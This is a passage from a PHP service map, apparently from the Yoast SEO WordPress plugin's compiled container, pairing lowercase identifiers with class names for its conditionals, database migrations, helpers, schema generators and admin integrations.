            'yoast\\wp\\seo\\conditionals\\premium_active_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional',
            'yoast\\wp\\seo\\conditionals\\premium_inactive_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional',
            'yoast\\wp\\seo\\conditionals\\primary_category_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional',
            'yoast\\wp\\seo\\conditionals\\robots_txt_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional',
            'yoast\\wp\\seo\\conditionals\\semrush_enabled_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional',
            'yoast\\wp\\seo\\conditionals\\settings_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional',
            'yoast\\wp\\seo\\conditionals\\should_index_links_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional',
            'yoast\\wp\\seo\\conditionals\\text_formality_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\elementor_activated_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\elementor_edit_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\polylang_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\translatepress_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\w3_total_cache_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\wordproof_integration_active_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\wordproof_plugin_inactive_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\wpml_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional',
            'yoast\\wp\\seo\\conditionals\\third_party\\wpml_wpseo_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional',
            'yoast\\wp\\seo\\conditionals\\updated_importer_framework_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional',
            'yoast\\wp\\seo\\conditionals\\user_can_edit_users_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional',
            'yoast\\wp\\seo\\conditionals\\user_can_manage_wpseo_options_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional',
            'yoast\\wp\\seo\\conditionals\\user_can_publish_posts_and_pages_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional',
            'yoast\\wp\\seo\\conditionals\\user_edit_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional',
            'yoast\\wp\\seo\\conditionals\\user_profile_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional',
            'yoast\\wp\\seo\\conditionals\\web_stories_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional',
            'yoast\\wp\\seo\\conditionals\\wincher_automatically_track_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional',
            'yoast\\wp\\seo\\conditionals\\wincher_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional',
            'yoast\\wp\\seo\\conditionals\\wincher_enabled_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional',
            'yoast\\wp\\seo\\conditionals\\wincher_token_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional',
            'yoast\\wp\\seo\\conditionals\\woocommerce_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional',
            'yoast\\wp\\seo\\conditionals\\wp_cron_enabled_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional',
            'yoast\\wp\\seo\\conditionals\\wp_robots_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional',
            'yoast\\wp\\seo\\conditionals\\xmlrpc_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional',
            'yoast\\wp\\seo\\conditionals\\yoast_admin_and_dashboard_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional',
            'yoast\\wp\\seo\\conditionals\\yoast_tools_page_conditional' => 'Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional',
            'yoast\\wp\\seo\\config\\badge_group_names' => 'Yoast\\WP\\SEO\\Config\\Badge_Group_Names',
            'yoast\\wp\\seo\\config\\conflicting_plugins' => 'Yoast\\WP\\SEO\\Config\\Conflicting_Plugins',
            'yoast\\wp\\seo\\config\\indexing_reasons' => 'Yoast\\WP\\SEO\\Config\\Indexing_Reasons',
            'yoast\\wp\\seo\\config\\migration_status' => 'Yoast\\WP\\SEO\\Config\\Migration_Status',
            'yoast\\wp\\seo\\config\\migrations\\addcollationtotables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables',
            'yoast\\wp\\seo\\config\\migrations\\addcolumnstoindexables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables',
            'yoast\\wp\\seo\\config\\migrations\\addestimatedreadingtime' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime',
            'yoast\\wp\\seo\\config\\migrations\\addhasancestorscolumn' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn',
            'yoast\\wp\\seo\\config\\migrations\\addinclusivelanguagescore' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore',
            'yoast\\wp\\seo\\config\\migrations\\addindexableobjectidandtypeindex' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex',
            'yoast\\wp\\seo\\config\\migrations\\addindexesforprominentwordsonindexables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables',
            'yoast\\wp\\seo\\config\\migrations\\addobjecttimestamps' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps',
            'yoast\\wp\\seo\\config\\migrations\\addversioncolumntoindexables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables',
            'yoast\\wp\\seo\\config\\migrations\\breadcrumbtitleandhierarchyreset' => 'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset',
            'yoast\\wp\\seo\\config\\migrations\\clearindexabletables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables',
            'yoast\\wp\\seo\\config\\migrations\\createindexablesubpagesindex' => 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex',
            'yoast\\wp\\seo\\config\\migrations\\createseolinkstable' => 'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable',
            'yoast\\wp\\seo\\config\\migrations\\deleteduplicateindexables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables',
            'yoast\\wp\\seo\\config\\migrations\\expandindexablecolumnlengths' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths',
            'yoast\\wp\\seo\\config\\migrations\\expandindexableidcolumnlengths' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths',
            'yoast\\wp\\seo\\config\\migrations\\expandprimarytermidcolumnlengths' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths',
            'yoast\\wp\\seo\\config\\migrations\\replacepermalinkhashindex' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex',
            'yoast\\wp\\seo\\config\\migrations\\resetindexablehierarchytable' => 'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable',
            'yoast\\wp\\seo\\config\\migrations\\truncateindexabletables' => 'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables',
            'yoast\\wp\\seo\\config\\migrations\\wpyoastdropindexablemetatableifexists' => 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists',
            'yoast\\wp\\seo\\config\\migrations\\wpyoastindexable' => 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable',
            'yoast\\wp\\seo\\config\\migrations\\wpyoastindexablehierarchy' => 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy',
            'yoast\\wp\\seo\\config\\migrations\\wpyoastprimaryterm' => 'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm',
            'yoast\\wp\\seo\\config\\researcher_languages' => 'Yoast\\WP\\SEO\\Config\\Researcher_Languages',
            'yoast\\wp\\seo\\config\\schema_ids' => 'Yoast\\WP\\SEO\\Config\\Schema_IDs',
            'yoast\\wp\\seo\\config\\schema_types' => 'Yoast\\WP\\SEO\\Config\\Schema_Types',
            'yoast\\wp\\seo\\config\\semrush_client' => 'Yoast\\WP\\SEO\\Config\\SEMrush_Client',
            'yoast\\wp\\seo\\config\\wincher_client' => 'Yoast\\WP\\SEO\\Config\\Wincher_Client',
            'yoast\\wp\\seo\\config\\wordproof_app_config' => 'Yoast\\WP\\SEO\\Config\\Wordproof_App_Config',
            'yoast\\wp\\seo\\config\\wordproof_translations' => 'Yoast\\WP\\SEO\\Config\\Wordproof_Translations',
            'yoast\\wp\\seo\\content_type_visibility\\application\\content_type_visibility_dismiss_notifications' => 'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications',
            'yoast\\wp\\seo\\content_type_visibility\\application\\content_type_visibility_watcher_actions' => 'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions',
            'yoast\\wp\\seo\\content_type_visibility\\user_interface\\content_type_visibility_dismiss_new_route' => 'Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route',
            'yoast\\wp\\seo\\context\\meta_tags_context' => 'Yoast\\WP\\SEO\\Context\\Meta_Tags_Context',
            'yoast\\wp\\seo\\dashboard\\application\\score_results\\current_scores_repository' => 'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository',
            'yoast\\wp\\seo\\dashboard\\application\\taxonomies\\taxonomies_repository' => 'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository',
            'yoast\\wp\\seo\\dashboard\\infrastructure\\content_types\\content_types_collector' => 'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector',
            'yoast\\wp\\seo\\dashboard\\user_interface\\scores\\readability_scores_route' => 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route',
            'yoast\\wp\\seo\\dashboard\\user_interface\\scores\\seo_scores_route' => 'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route',
            'yoast\\wp\\seo\\editors\\application\\analysis_features\\enabled_analysis_features_repository' => 'Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository',
            'yoast\\wp\\seo\\editors\\application\\integrations\\integration_information_repository' => 'Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository',
            'yoast\\wp\\seo\\editors\\application\\seo\\post_seo_information_repository' => 'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository',
            'yoast\\wp\\seo\\editors\\application\\seo\\term_seo_information_repository' => 'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository',
            'yoast\\wp\\seo\\editors\\application\\site\\website_information_repository' => 'Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository',
            'yoast\\wp\\seo\\general\\user_interface\\general_page_integration' => 'Yoast\\WP\\SEO\\General\\User_Interface\\General_Page_Integration',
            'yoast\\wp\\seo\\generators\\breadcrumbs_generator' => 'Yoast\\WP\\SEO\\Generators\\Breadcrumbs_Generator',
            'yoast\\wp\\seo\\generators\\open_graph_image_generator' => 'Yoast\\WP\\SEO\\Generators\\Open_Graph_Image_Generator',
            'yoast\\wp\\seo\\generators\\open_graph_locale_generator' => 'Yoast\\WP\\SEO\\Generators\\Open_Graph_Locale_Generator',
            'yoast\\wp\\seo\\generators\\schema\\article' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Article',
            'yoast\\wp\\seo\\generators\\schema\\author' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Author',
            'yoast\\wp\\seo\\generators\\schema\\breadcrumb' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Breadcrumb',
            'yoast\\wp\\seo\\generators\\schema\\faq' => 'Yoast\\WP\\SEO\\Generators\\Schema\\FAQ',
            'yoast\\wp\\seo\\generators\\schema\\howto' => 'Yoast\\WP\\SEO\\Generators\\Schema\\HowTo',
            'yoast\\wp\\seo\\generators\\schema\\main_image' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Main_Image',
            'yoast\\wp\\seo\\generators\\schema\\organization' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Organization',
            'yoast\\wp\\seo\\generators\\schema\\person' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Person',
            'yoast\\wp\\seo\\generators\\schema\\webpage' => 'Yoast\\WP\\SEO\\Generators\\Schema\\WebPage',
            'yoast\\wp\\seo\\generators\\schema\\website' => 'Yoast\\WP\\SEO\\Generators\\Schema\\Website',
            'yoast\\wp\\seo\\generators\\schema_generator' => 'Yoast\\WP\\SEO\\Generators\\Schema_Generator',
            'yoast\\wp\\seo\\generators\\twitter_image_generator' => 'Yoast\\WP\\SEO\\Generators\\Twitter_Image_Generator',
            'yoast\\wp\\seo\\helpers\\aioseo_helper' => 'Yoast\\WP\\SEO\\Helpers\\Aioseo_Helper',
            'yoast\\wp\\seo\\helpers\\asset_helper' => 'Yoast\\WP\\SEO\\Helpers\\Asset_Helper',
            'yoast\\wp\\seo\\helpers\\attachment_cleanup_helper' => 'Yoast\\WP\\SEO\\Helpers\\Attachment_Cleanup_Helper',
            'yoast\\wp\\seo\\helpers\\author_archive_helper' => 'Yoast\\WP\\SEO\\Helpers\\Author_Archive_Helper',
            'yoast\\wp\\seo\\helpers\\blocks_helper' => 'Yoast\\WP\\SEO\\Helpers\\Blocks_Helper',
            'yoast\\wp\\seo\\helpers\\capability_helper' => 'Yoast\\WP\\SEO\\Helpers\\Capability_Helper',
            'yoast\\wp\\seo\\helpers\\crawl_cleanup_helper' => 'Yoast\\WP\\SEO\\Helpers\\Crawl_Cleanup_Helper',
            'yoast\\wp\\seo\\helpers\\curl_helper' => 'Yoast\\WP\\SEO\\Helpers\\Curl_Helper',
            'yoast\\wp\\seo\\helpers\\current_page_helper' => 'Yoast\\WP\\SEO\\Helpers\\Current_Page_Helper',
            'yoast\\wp\\seo\\helpers\\date_helper' => 'Yoast\\WP\\SEO\\Helpers\\Date_Helper',
            'yoast\\wp\\seo\\helpers\\environment_helper' => 'Yoast\\WP\\SEO\\Helpers\\Environment_Helper',
            'yoast\\wp\\seo\\helpers\\first_time_configuration_notice_helper' => 'Yoast\\WP\\SEO\\Helpers\\First_Time_Configuration_Notice_Helper',
            'yoast\\wp\\seo\\helpers\\home_url_helper' => 'Yoast\\WP\\SEO\\Helpers\\Home_Url_Helper',
            'yoast\\wp\\seo\\helpers\\image_helper' => 'Yoast\\WP\\SEO\\Helpers\\Image_Helper',
            'yoast\\wp\\seo\\helpers\\import_cursor_helper' => 'Yoast\\WP\\SEO\\Helpers\\Import_Cursor_Helper',
            'yoast\\wp\\seo\\helpers\\import_helper' => 'Yoast\\WP\\SEO\\Helpers\\Import_Helper',
            'yoast\\wp\\seo\\helpers\\indexable_helper' => 'Yoast\\WP\\SEO\\Helpers\\Indexable_Helper',
            'yoast\\wp\\seo\\helpers\\indexable_to_postmeta_helper' => 'Yoast\\WP\\SEO\\Helpers\\Indexable_To_Postmeta_Helper',
            'yoast\\wp\\seo\\helpers\\indexing_helper' => 'Yoast\\WP\\SEO\\Helpers\\Indexing_Helper',
            'yoast\\wp\\seo\\helpers\\language_helper' => 'Yoast\\WP\\SEO\\Helpers\\Language_Helper',
            'yoast\\wp\\seo\\helpers\\meta_helper' => 'Yoast\\WP\\SEO\\Helpers\\Meta_Helper',
            'yoast\\wp\\seo\\helpers\\notification_helper' => 'Yoast\\WP\\SEO\\Helpers\\Notification_Helper',
            'yoast\\wp\\seo\\helpers\\open_graph\\image_helper' => 'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Image_Helper',
            'yoast\\wp\\seo\\helpers\\open_graph\\values_helper' => 'Yoast\\WP\\SEO\\Helpers\\Open_Graph\\Values_Helper',
            'yoast\\wp\\seo\\helpers\\options_helper' => 'Yoast\\WP\\SEO\\Helpers\\Options_Helper',
            'yoast\\wp\\seo\\helpers\\pagination_helper' => 'Yoast\\WP\\SEO\\Helpers\\Pagination_Helper',
            'yoast\\wp\\seo\\helpers\\permalink_helper' => 'Yoast\\WP\\SEO\\Helpers\\Permalink_Helper',
            'yoast\\wp\\seo\\helpers\\post_helper' => 'Yoast\\WP\\SEO\\Helpers\\Post_Helper',
            'yoast\\wp\\seo\\helpers\\post_type_helper' => 'Yoast\\WP\\SEO\\Helpers\\Post_Type_Helper',
            'yoast\\wp\\seo\\helpers\\primary_term_helper' => 'Yoast\\WP\\SEO\\Helpers\\Primary_Term_Helper',
            'yoast\\wp\\seo\\helpers\\product_helper' => 'Yoast\\WP\\SEO\\Helpers\\Product_Helper',
            'yoast\\wp\\seo\\helpers\\redirect_helper' => 'Yoast\\WP\\SEO\\Helpers\\Redirect_Helper',
            'yoast\\wp\\seo\\helpers\\request_helper' => 'Yoast\\WP\\SEO\\Helpers\\Request_Helper',
            'yoast\\wp\\seo\\helpers\\require_file_helper' => 'Yoast\\WP\\SEO\\Helpers\\Require_File_Helper',
            'yoast\\wp\\seo\\helpers\\robots_helper' => 'Yoast\\WP\\SEO\\Helpers\\Robots_Helper',
            'yoast\\wp\\seo\\helpers\\robots_txt_helper' => 'Yoast\\WP\\SEO\\Helpers\\Robots_Txt_Helper',
            'yoast\\wp\\seo\\helpers\\sanitization_helper' => 'Yoast\\WP\\SEO\\Helpers\\Sanitization_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\article_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\Article_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\html_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\HTML_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\id_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\ID_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\image_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\Image_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\language_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\Language_Helper',
            'yoast\\wp\\seo\\helpers\\schema\\replace_vars_helper' => 'Yoast\\WP\\SEO\\Helpers\\Schema\\Replace_Vars_Helper',
            'yoast\\wp\\seo\\helpers\\score_icon_helper' => 'Yoast\\WP\\SEO\\Helpers\\Score_Icon_Helper',
            'yoast\\wp\\seo\\helpers\\short_link_helper' => 'Yoast\\WP\\SEO\\Helpers\\Short_Link_Helper',
            'yoast\\wp\\seo\\helpers\\site_helper' => 'Yoast\\WP\\SEO\\Helpers\\Site_Helper',
            'yoast\\wp\\seo\\helpers\\social_profiles_helper' => 'Yoast\\WP\\SEO\\Helpers\\Social_Profiles_Helper',
            'yoast\\wp\\seo\\helpers\\string_helper' => 'Yoast\\WP\\SEO\\Helpers\\String_Helper',
            'yoast\\wp\\seo\\helpers\\taxonomy_helper' => 'Yoast\\WP\\SEO\\Helpers\\Taxonomy_Helper',
            'yoast\\wp\\seo\\helpers\\twitter\\image_helper' => 'Yoast\\WP\\SEO\\Helpers\\Twitter\\Image_Helper',
            'yoast\\wp\\seo\\helpers\\url_helper' => 'Yoast\\WP\\SEO\\Helpers\\Url_Helper',
            'yoast\\wp\\seo\\helpers\\user_helper' => 'Yoast\\WP\\SEO\\Helpers\\User_Helper',
            'yoast\\wp\\seo\\helpers\\wincher_helper' => 'Yoast\\WP\\SEO\\Helpers\\Wincher_Helper',
            'yoast\\wp\\seo\\helpers\\woocommerce_helper' => 'Yoast\\WP\\SEO\\Helpers\\Woocommerce_Helper',
            'yoast\\wp\\seo\\helpers\\wordpress_helper' => 'Yoast\\WP\\SEO\\Helpers\\Wordpress_Helper',
            'yoast\\wp\\seo\\helpers\\wordproof_helper' => 'Yoast\\WP\\SEO\\Helpers\\Wordproof_Helper',
            'yoast\\wp\\seo\\helpers\\wpdb_helper' => 'Yoast\\WP\\SEO\\Helpers\\Wpdb_Helper',
            'yoast\\wp\\seo\\initializers\\crawl_cleanup_permalinks' => 'Yoast\\WP\\SEO\\Initializers\\Crawl_Cleanup_Permalinks',
            'yoast\\wp\\seo\\initializers\\disable_core_sitemaps' => 'Yoast\\WP\\SEO\\Initializers\\Disable_Core_Sitemaps',
            'yoast\\wp\\seo\\initializers\\migration_runner' => 'Yoast\\WP\\SEO\\Initializers\\Migration_Runner',
            'yoast\\wp\\seo\\initializers\\plugin_headers' => 'Yoast\\WP\\SEO\\Initializers\\Plugin_Headers',
            'yoast\\wp\\seo\\initializers\\woocommerce' => 'Yoast\\WP\\SEO\\Initializers\\Woocommerce',
            'yoast\\wp\\seo\\integrations\\academy_integration' => 'Yoast\\WP\\SEO\\Integrations\\Academy_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\activation_cleanup_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Activation_Cleanup_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\addon_installation\\dialog_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Dialog_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\addon_installation\\installation_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Addon_Installation\\Installation_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\admin_columns_cache_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Admin_Columns_Cache_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\background_indexing_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Background_Indexing_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\check_required_version' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Check_Required_Version',
            'yoast\\wp\\seo\\integrations\\admin\\crawl_settings_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Crawl_Settings_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\cron_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Cron_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\deactivated_premium_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Deactivated_Premium_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\disable_concatenate_scripts_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Disable_Concatenate_Scripts_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\first_time_configuration_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\first_time_configuration_notice_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\First_Time_Configuration_Notice_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\fix_news_dependencies_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Fix_News_Dependencies_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\health_check_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Health_Check_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\helpscout_beacon' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\HelpScout_Beacon',
            'yoast\\wp\\seo\\integrations\\admin\\import_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Import_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\indexables_exclude_taxonomy_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexables_Exclude_Taxonomy_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\indexing_notification_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Notification_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\indexing_tool_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Indexing_Tool_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\installation_success_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Installation_Success_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\integrations_page' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Integrations_Page',
            'yoast\\wp\\seo\\integrations\\admin\\link_count_columns_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Link_Count_Columns_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\menu_badge_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Menu_Badge_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\migration_error_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Migration_Error_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\old_configuration_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Configuration_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\old_premium_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Old_Premium_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\redirect_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirect_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\redirects_page_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Redirects_Page_Integration',
            'yoast\\wp\\seo\\integrations\\admin\\unsupported_php_version_notice' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Unsupported_PHP_Version_Notice',
            'yoast\\wp\\seo\\integrations\\admin\\workouts_integration' => 'Yoast\\WP\\SEO\\Integrations\\Admin\\Workouts_Integration',
            'yoast\\wp\\seo\\integrations\\alerts\\black_friday_product_editor_checklist_notification' => 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Product_Editor_Checklist_Notification',
            'yoast\\wp\\seo\\integrations\\alerts\\black_friday_promotion_notification' => 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Promotion_Notification',
            'yoast\\wp\\seo\\integrations\\alerts\\black_friday_sidebar_checklist_notification' => 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Black_Friday_Sidebar_Checklist_Notification',
            'yoast\\wp\\seo\\integrations\\alerts\\trustpilot_review_notification' => 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Trustpilot_Review_Notification',
            'yoast\\wp\\seo\\integrations\\alerts\\webinar_promo_notification' => 'Yoast\\WP\\SEO\\Integrations\\Alerts\\Webinar_Promo_Notification',
            'yoast\\wp\\seo\\integrations\\blocks\\block_editor_integration' => 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Block_Editor_Integration',
            'yoast\\wp\\seo\\integrations\\blocks\\breadcrumbs_block' => 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Breadcrumbs_Block',
            'yoast\\wp\\seo\\integrations\\blocks\\internal_linking_category' => 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Internal_Linking_Category',
            'yoast\\wp\\seo\\integrations\\blocks\\structured_data_blocks' => 'Yoast\\WP\\SEO\\Integrations\\Blocks\\Structured_Data_Blocks',
            'yoast\\wp\\seo\\integrations\\breadcrumbs_integration' => 'Yoast\\WP\\SEO\\Integrations\\Breadcrumbs_Integration',
            'yoast\\wp\\seo\\integrations\\cleanup_integration' => 'Yoast\\WP\\SEO\\Integrations\\Cleanup_Integration',
            'yoast\\wp\\seo\\integrations\\duplicate_post_integration' => 'Yoast\\WP\\SEO\\Integrations\\Duplicate_Post_Integration',
            'yoast\\wp\\seo\\integrations\\estimated_reading_time' => 'Yoast\\WP\\SEO\\Integrations\\Estimated_Reading_Time',
            'yoast\\wp\\seo\\integrations\\exclude_attachment_post_type' => 'Yoast\\WP\\SEO\\Integrations\\Exclude_Attachment_Post_Type',
            'yoast\\wp\\seo\\integrations\\exclude_oembed_cache_post_type' => 'Yoast\\WP\\SEO\\Integrations\\Exclude_Oembed_Cache_Post_Type',
            'yoast\\wp\\seo\\integrations\\feature_flag_integration' => 'Yoast\\WP\\SEO\\Integrations\\Feature_Flag_Integration',
            'yoast\\wp\\seo\\integrations\\front_end\\backwards_compatibility' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Backwards_Compatibility',
            'yoast\\wp\\seo\\integrations\\front_end\\category_term_description' => 'Yoast\\WP\\SEO\\Integrations\\Front_End\\Category_Term_Description',
